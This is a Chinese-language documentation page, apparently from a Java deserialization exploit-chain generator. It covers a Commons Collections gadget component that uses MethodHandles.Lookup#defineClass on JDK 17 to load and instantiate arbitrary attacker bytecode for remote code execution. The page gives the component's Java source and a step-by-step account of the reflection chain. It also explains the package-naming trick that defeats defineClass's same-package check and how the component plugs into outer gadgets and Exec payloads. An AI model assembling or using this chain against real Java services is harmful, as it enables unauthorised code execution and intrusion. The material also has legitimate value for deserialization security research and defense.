- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
jdk17
构造一个 Commons Collections 的 Transformer[] 数组,利用 java.lang.invoke.MethodHandles.Lookup#defineClass 在 JDK 高版本(如 JDK 17) 直接 defineClass + 实例化任意字节码,绕过 TemplatesImpl 在高版本被削弱/限制的困境,实现 RCE。是 CC 家族面向高版本 JDK 的字节码 sink 组装件。
- 入口
tags:TransformerChains—— 产出Transformer[],由外层 CC gadget(nextTags=TransformerChains)承接并包进ChainedTransformer。 - 衔接
nextTags:BytecodeConvertTag—— 之后接一个提供原始字节码byte[]的 gadget(BytecodeConvert及其字节码源)。 excludes:无。
public Object getObject(byte[] bytecode) throws Exception {
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(MethodHandles.class)); // 常量返回 MethodHandles 类
transformers.add(this.createInvokerTransformer("getDeclaredMethod", // 反射取 MethodHandles.lookup()
new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}));
transformers.add(this.createInvokerTransformer("invoke", // 调用得到 Lookup 实例
new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}));
transformers.add(this.createInvokerTransformer("defineClass", // Lookup.defineClass(bytecode)
new Class[]{byte[].class}, new Object[]{bytecode}));
transformers.add(this.createInstantiateTransformer(new Class[0], new Object[0])); // 无参实例化被定义的类
transformers.add(this.createConstantTransformer(1)); // 收尾,返回常量避免后续 NPE
return this.createTransformerArray(transformers);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.context = context;
String version = context.getString(ContextTag.CC_VERSION);
this.initClazz(version); // 按 CC 版本定位 Transformer 类
this.initBytecodeClass(version); // 关键:约束字节码类名命名空间
return this.getObject((byte[])chain.doCreate(context)); // 内层产出字节码 byte[],再包装
}getObject 依次组装出 ChainedTransformer 执行时的调用链:MethodHandles.class →(反射)getDeclaredMethod("lookup") → invoke(null) 得到 Lookup → Lookup.defineClass(bytecode) 得到 Class → InstantiateTransformer 无参 newInstance() 触发恶意类构造器。数组组装同样走基类 AbstractTransformer.createInvokerTransformer/createInstantiateTransformer 反射工厂(见 TransformerWithTemplatesImpl 中基类剖析)。
initBytecodeClass 是本类特有的坑点处理——Lookup.defineClass 要求被定义类与 Lookup 所在包一致,而这里的 Lookup 来自 commons-collections 包:
public void initBytecodeClass(String version) {
if ("3".equalsIgnoreCase(version)) {
this.context.getEngine().setGadgetParam("className",
"org.apache.commons.collections.functors." + CommonUtil.getRandomString(10)); // CC3 命名空间
} else if ("4".equalsIgnoreCase(version)) {
this.context.getEngine().setGadgetParam("className",
"org.apache.commons.collections4.functors." + CommonUtil.getRandomString(10)); // CC4 命名空间
} else {
ThrowsUtil.throwNotFoundOptionGadgetException("'3' or '4'");
}
}即自动把下游生成的字节码类名强制设为 org.apache.commons.collections(4).functors.<随机名>,与承载 Lookup 的包同域,才能通过 defineClass 的同包校验。
本类无独立 @Param。CC 版本经 ContextTag.CC_VERSION 注入;字节码类名由 initBytecodeClass 自动写入引擎参数 className;字节码 byte[] 由下游 BytecodeConvert 提供。
- 依赖标注为
jdk17:专为高版本 JDK 设计——高版本下TemplatesImpl.newTransformer路径受限,改用MethodHandles.Lookup#defineClass直接定义类。 description明确:CC 3.2.1 反序列化链中字节码类名必须形如org.apache.commons.collections.functors.xxx;本链已自动设置该命名空间,无需手工调整。- 仍需 CC(3 或 4)在目标类路径上以提供
Transformer体系与同包Lookup载体。
自由构件,未直接出现在预设链(usedInChains 为空)。作为高版本 JDK 场景下 TransformerWithTemplatesImpl 的替代 sink,可手工组入 CC 链。
- 上游(承接方,
nextTags=TransformerChains):CommonsCollectionsK1/K2/K3/K4等外层 CC gadget。 - 下游(
nextTags=BytecodeConvertTag):BytecodeConvert→Exec/其它字节码 payload。 - 同族:TransformerWithTemplatesImpl(低版本 JDK sink)、TransformerWithJNDI、TransformerWithJs、TransformerWithSleep。